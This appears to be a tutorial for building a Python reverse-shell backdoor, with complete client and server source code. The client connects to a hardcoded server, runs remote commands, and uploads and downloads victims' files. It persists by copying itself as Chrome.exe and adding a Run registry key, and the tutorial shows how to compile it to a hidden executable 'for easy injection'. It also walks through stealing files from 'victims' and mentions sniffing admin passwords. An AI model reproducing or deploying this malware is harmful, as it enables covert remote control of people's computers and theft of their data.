**Backdoor coding**

I never suggest anyone hosting the Backdoor server on the Internet and sending their victims’ bundled VPN & this backdoor client.exe files.

Yet, you may do whatever you want to host the Backdoor server on the Internet :D

1. Server listening for connections

2. Payload/reverse shell delivered to targets

Using socket

TCP/IP handshake connection for the backdoor

**Usage**

**Server folder structure:**

We’ve got:

dist

client.py

server.py

compile.sh

A screenshot of a computer

Description automatically generated

On your Server => run:

sudo chmod 777 ./\*.\*;

sudo python3 ./server.py;

A black background with white text

Description automatically generated

**Victims’ client folder structure:**

client.exe

A screenshot of a computer

Description automatically generated

If you’re re-engineering this Backdoor to add more functions:

A screenshot of a computer

Description automatically generated

Victims => python client.py

A computer screen with text

Description automatically generated with medium confidence

This backdoor now resides into victims’ machine C:\Users\IGS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

A screenshot of a computer program

Description automatically generated

Thus, this Backdoor will start automatically as Chrome.exe everytime the victim starts his/her machine :D

Testing download function:

We have an image file ‘witch.jpg’ on victim’s machine

A screenshot of a computer

Description automatically generated

We only have these files on our Backdoor Server

A screenshot of a computer

Description automatically generated

Once our victim is connected to our Backdoor Server

A screen shot of a computer

Description automatically generated

type ‘hostname’ & ‘whoami’ to confirm victim’s machine identify:

A black background with white numbers

Description automatically generated

‘dir’ or ‘ls -la’ to view present working directory:

A screenshot of a computer screen

Description automatically generated

Download ‘witch.jpg’ from victim’s machine:

A screen shot of a computer

Description automatically generated

A screenshot of a computer error

Description automatically generated

‘dir’ or ‘ls -la’ again to confirm successful download from your victims:

A computer screen shot of a computer

Description automatically generated

Also checkout your Server folder:

A screenshot of a computer

Description automatically generated

A screenshot of a computer

Description automatically generated

Congrats :D You’ve have successfully downloaded a .jpg file from your victim :D

To exit Reverse shell:

q

A close up of a computer screen

Description automatically generated

You may try downloading files with other extensions e.g.

.7z

.rar

.tar.gz

.tiff

.py

.exe

.md

Any file extensions .\* just work fine :D

You may also try out ‘upload’ function of this backdoor, by putting some files to Server folder on your Backdoor Server :D

You may add more custom functions to this Backdoor :D

**Theory for references**

# IP Fragmentation illustration

<https://users.cs.fiu.edu/~esj/cgs4285/class11.html#:~:text=1.,on%20a%208%20byte%20boundary>.

A screen shot of a computer code

Description automatically generated

A computer code with numbers and lines

Description automatically generated

A computer code with numbers and lines

Description automatically generated

A computer code with numbers and lines

Description automatically generated

A screenshot of a computer program

Description automatically generated

A screenshot of a computer program

Description automatically generated

A screenshot of a computer program

Description automatically generated

A screenshot of a computer

Description automatically generated

# Socket

# Why IP Fragmentation HEADER must be 8 bytes

# while the 2nd portion of it need NOT be 8 bytes

<https://stackoverflow.com/questions/7846442/why-the-ip-fragments-must-be-in-multiples-of-8-bytes>

A screenshot of a computer

Description automatically generated

==== **Gaining persistency using Registry on Windows**

**Theory**

A screenshot of a computer

Description automatically generated

ctrl + r => regedit

We'll be focusing on

**HKEY\_CURRENT\_USER**

If we use HKEY\_CURRENT\_USER, the reverse shell will only focus on the logon user and monitor specific users’ login movement.

We'll focus on this exploitation

**We target startup program settings**:

**Computer/HKEY\_CURRENT\_USER/Software/Microsoft/Windows/CurrentVersion/Run**

A screenshot of a computer program

Description automatically generated

**Persistance is gained:**

A screenshot of a computer

Description automatically generated

# We'd like to manipulate the Registry keys first

# C:\Users\USER\AppData\Roaming is hidden

# We'll target this directory for our Reverse Shell

# This will point to whoever user's /AppData

location = os.environ["appdata"] + "[\\pip3\_setup.exe](file:///\\pip3_setup.exe)"

# If 'location' does NOT exist, it's 1st time running this Backdoor client

if not os.path.exists(location):

    # Performing copying action of our Backdoor.exe to User's /AppData

    shutil.copyfile(sys.executable, location)

    # Allow users to proactively connect to our backdoor server

    # whenever they login to their machines

    #

    # Appending machine startup .exe permissions to Victims' Windows regkey at

    # HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Run

    # /v = Name; /t = Type; /d = Data

    subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v pip3 /t REG\_SZ /d "' + location + '"', shell=True)

else:

    # Otherwise, just jump to steps below

    sock = socket.socket(socket.AF\_INET,socket.SOCK\_STREAM)

    # ==========================================

    # IP\_ADDRESS = '192.168.31.138'

    # port = 54321

    #sock.connect((IP\_ADDRESS, port))

    #print(f'Connection Established to Server!')

    #shell()

    # ==========================================

    connection()

    #answer = "Server: Hello Back!"

    #sock.send(answer.encode())

    sock.close()

**Running the reverse\_shell.exe:**

A screenshot of a computer

Description automatically generated

**On our Backdoor server:**

A computer screen shot of a black screen

Description automatically generated

**HKEY\_LOCAL\_MACHINE**

If we use HKEY\_LOCAL\_MACHINE, the reverse shell will focus on whoever logins as long as the machine is booted

**NTLMv2 weak network logon reference:**

<https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-lan-manager-authentication-level>

Yet, we normally do NOT have the admin password of the machine, unless

we perform a man-in-the-middle attack to sniff adming login password via a weak NTLMv2 network login to a Domain Controller in an Active Directory environment

A screenshot of a document

Description automatically generated

=== **Compiling .py to .exe single file for easy injection**

**bash ./compile.sh;**

**A screen shot of a computer program

Description automatically generated**

**OR manually compiling & deleting ./build ./client.spec;**

**# Compiling manually**

**python -m pyinstaller reverse\_shell.py --onefile --noconsole;**

**# Removing all unnecessary files & folder after compiling**

**rm -rf ./build && rm -rf ./client.spec;**

**# Find client.exe in /dist**

A screenshot of a computer

Description automatically generated

client.py:

import socket

import time

import json

import subprocess

import os

import shutil

import sys

IP\_ADDRESS = '192.168.0.16'

PORT = 54321

def reliable\_send(data):

    jsondata = json.dumps(data)

    # SERVER

    # target = target, ip = sock.accept() below

    # jsondata has to be encoded to send ascii to victims as BYTEs

    # CLIENT

    # use victims' socket (s) to send jsondata.encode() 'ascii' as BYTEs

    s.send(jsondata.encode())

def reliable\_recv():

    # Preparing to store data

    data = ''

    while True:

        try:

            # SERVER

            # Specify amount of BYTEs we wanna receive

            # Cuz data sending from victims are encoded BYTEs

            # Need to decode it upon receiving using .decode()

            # Need to trim the fucking '\n' '\r' to avoid errors using rstrip()

            # CLIENT

            # using victims' socket to receive commands

            data += s.recv(1024).decode().rstrip()

            # returning results

            return json.loads(data)

        except ValueError as e:

            # When we receive ValueError from execution

            # We continue the execution

            #print(f'Error occurred: {e}\nContinuing...')

            continue

def connection():

    while True:

        # Our Server can start at anytime, whenever server is running

        # Victims will try to connect every 20 secs

        time.sleep(20)

        # Try to connect to our Server

        try:

            # connection() will run over & over again

            # until victims' socket is connected to server

            s.connect((IP\_ADDRESS, PORT))

            # Establish a reverse shell

            shell()

            # Close socket object once reverse shell is established

            s.close()

            # Socket closed => Exit this program

            break

        except:

            # Keep trying to run connection()

            connection()

# Allow Server to download simple files from victims (this client)

def upload\_file(file\_name):

    # open File from 'file\_name' => command[9:]

    # read btyes

    f = open(file\_name, 'rb')

    s.send(f.read())

# Allow SERVER to download simple files from victims (this client)

# Callback used to download files from victims' machines

# Server => download files from victims' machines

# Client => upload files to Server

def download\_file(file\_name):

    # open file object 'f' using

    # 'wb' => write bytes to a file

    # \*\*\*

    f = open(file\_name, 'wb')

    # \*\*\*

    # If timeout is NOT set, sometimes program will get stuck

    s.settimeout(1)

    #print(f'Starting to receive bytes in chunks from simple files...')

    # Receive data from multiple chunks

    try:

        chunk = s.recv(1024)

        # As long as there's something in chunk variable

        while chunk:

            # Writing the chunk into file

            f.write(chunk)

            #print(f'Server is writing chunks of 1024 bytes of simple files from victims...')

            chunk = s.recv(1024)

        # If there's any errors => reached End of file

    except socket.timeout as e:

        pass

        #print(f'Server has no pending 1024-byte chunks in queue...\nExiting...\n')

    finally:

        s.settimeout(None)

        # Close file upon complete sending files from victims

        f.close()

        #print(f'This server is closing open-file on victims\' machines')

def shell():

    while True:

        # Receive command from server

        command = reliable\_recv()

        # Exit program if 'q' is received from server

        if command == 'q':

            break

        # 'cd' command

        # comparing first 3 CHAR

        # cuz 'cd path/to/target'

        elif command[:3] == 'cd ':

            # From 3rd CHAR till the end

            os.chdir(command[3:])

        # Executing 'clear' on Server

        # do NOTHING in client

        elif command == 'clear':

            pass

        # 'vim' command

        # From beginning to 4th CHAR = 'vim '

        elif command[:4] == 'vim ':

            # vim test.txt => PATH starts from 5th CHAR

            os.system("vim"+command[5:])

        # Allow Server to download files from victims (this client)

        # If command[9:] from SERVER == 'download'

        # this client (victims) calls upload\_file(command[9:])

        elif command[:8] == 'download':

            # Starts from 9th CHAR till the end

            upload\_file(command[9:])

        # Allow SERVER to send 'upload' command to victims machines

        # To start downloading files from victims

        elif command[:6] == 'upload':

            # If command[7:] from SERVER == 'upload'

            # this client (victims) calls download\_file(command[7:])

            download\_file(command[7:])

        else:

            # Execute the 'command' received from Server using process open

            # using subprocess module

            execute = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

            result = execute.stdout.read() + execute.stderr.read()

            # We get encoded data 'result' from 2 lines above

            # execute = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

            # result = execute.stdout.read() + execute.stderr.read()

            # It will throw us an Error if we do NOT decode result from above

            result = result.decode()

            reliable\_send(result)

# ============= Gaining persistency

# A common C:\Users\USER\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Programs\Chrome.exe ;)

location = os.environ["appdata"] + "\\Microsoft\\Windows\\Start Menu\\Programs\\Chrome.exe"

# If 'location' does NOT exist, it's 1st time running this Backdoor client

if not os.path.exists(location):

#     # Performing copying action of our Backdoor.exe to User's /AppData

      shutil.copyfile(sys.executable, location)

#     # Allow users to proactively connect to our backdoor server

#     # whenever they login to their machines

#     #

#     # Appending machine startup .exe permissions to Victims' Windows regkey at

#     # HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Run

#     # /v = Name; /t = Type; /d = Data

      subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v pip3\_setup.py /t REG\_SZ /d "' + location + '"', shell=True)

else:

    s = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)

    # Bind socket => connection() => shell() => Call connection()

    connection()

server.py:

import socket

import json

import os

IP\_ADDRESS = '192.168.0.16'

# Port no. > 1000 is OK

PORT = 54321

# Passing 'data' as an argument

# 'data' = command we send to victims

def reliable\_send(data):

    jsondata = json.dumps(data)

    # target = target, ip = sock.accept() below

    # jsondata has to be encoded to send ascii to victims as BYTEs

    target.send(jsondata.encode())

def reliable\_recv():

    # Preparing to store data

    data = ''

    while True:

        try:

            # Specify amount of BYTEs we wanna receive

            # Cuz data sending from victims are encoded BYTEs

            # Need to decode it upon receiving using .decode()

            # Need to trim the fucking '\n' '\r' to avoid errors using rstrip()

            data += target.recv(1024).decode().rstrip()

            # returning results

            return json.loads(data)

        except ValueError as e:

            # When we receive ValueError from execution

            # We continue the execution

            print(f'Error occurred: {e}\nContinuing...')

            continue

# Allow Server to upload simple files to victims

# Similar to upload\_file(file\_name): in client.py

def upload\_file(file\_name):

    # open File from 'file\_name' => command[9:]

    # read btyes

    f = open(file\_name, 'rb')

    target.send(f.read())

# SERVER download simple files from victims' machines

# Callback used to download files from victims' machines

# Server => download files from victims' machines

# Client => upload files to Server

def download\_file(file\_name):

    # open file object 'f' using

    # 'wb' => write bytes to a file

    # \*\*\*

    f = open(file\_name, 'wb')

    # \*\*\*

    # If timeout is NOT set, sometimes program will get stuck

    target.settimeout(1)

    print(f'Starting to receive bytes in chunks from simple files...')

    # Receive data from multiple chunks

    try:

        chunk = target.recv(1024)

        # As long as there's something in chunk variable

        while chunk:

            # Writing the chunk into file

            f.write(chunk)

            print(f'Server is writing chunks of 1024 bytes of simple files from victims...')

            chunk = target.recv(1024)

        # If there's any errors => reached End of file

    except socket.timeout as e:

        print(f'Server has no pending 1024-byte chunks in queue...\nExiting...\n')

    finally:

        target.settimeout(None)

        # Close file upon complete sending files from victims

        f.close()

        print(f'This server is closing open-file on victims\' machines')

def target\_communication():

    while True:

        # Once we type in str(ip)

        # str(ip) display as => \* Reverse Shell~str(ip)

        # ip = target, ip = sock.accept()

        command = input('\* Reverse Shell~%s: ' % str(ip))

        # A callback to send commands to victims

        reliable\_send(command)

        # Server command input 'q' to exit shell

        if command == 'q':

            break

        # From beginnging up to 3rd CHAR

        # 'cd' command do nothing on Server

        # 'cd' command works in client

        elif command[:3] == 'cd ':

            # From 3rd CHAR till the end

            # Print present working directory after 'cd'

            # For Linux

            try:

                os.system('pwd')

            # For Windows

            except ValueError as e:

                os.system('dir')

            pass

        # Executing 'clear' on Server

        elif command == 'clear':

            os.system('clear')

        # 'vim' command

        elif command[:4] == 'vim ':

            pass

        # Download files from victims' machines to this SERVER

        # 'download path/file.txt'

        # If first 8 CHAR == 'download'

        elif command[:8] == 'download':

            download\_file(command[9:])

        # Upload files to victims' machine from this SERVER

        elif command[:6] == 'upload':

            # File starts from 7th CHAR till end

            upload\_file(command[7:])

        else:

            # A callback

            # To receive results from victims once we fire our commands

            result = reliable\_recv()

            # Printing result from reliable\_recv() to Server screen

            # return json.loads(data)

            print(result)

sock = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)

# Binding our Server IP to the PORT

sock.bind((IP\_ADDRESS, PORT))

print('[+] Listening for Incoming connections ;)')

# Listening up to 5 connections

sock.listen(5)

# sock.accept() accepting target socket object

# sock.accept() accepting target IP

target, ip = sock.accept()

print('[+] Target connected from: ' + str(ip))

# A function acting as a callback

# handling victims' communications to our server

target\_communication()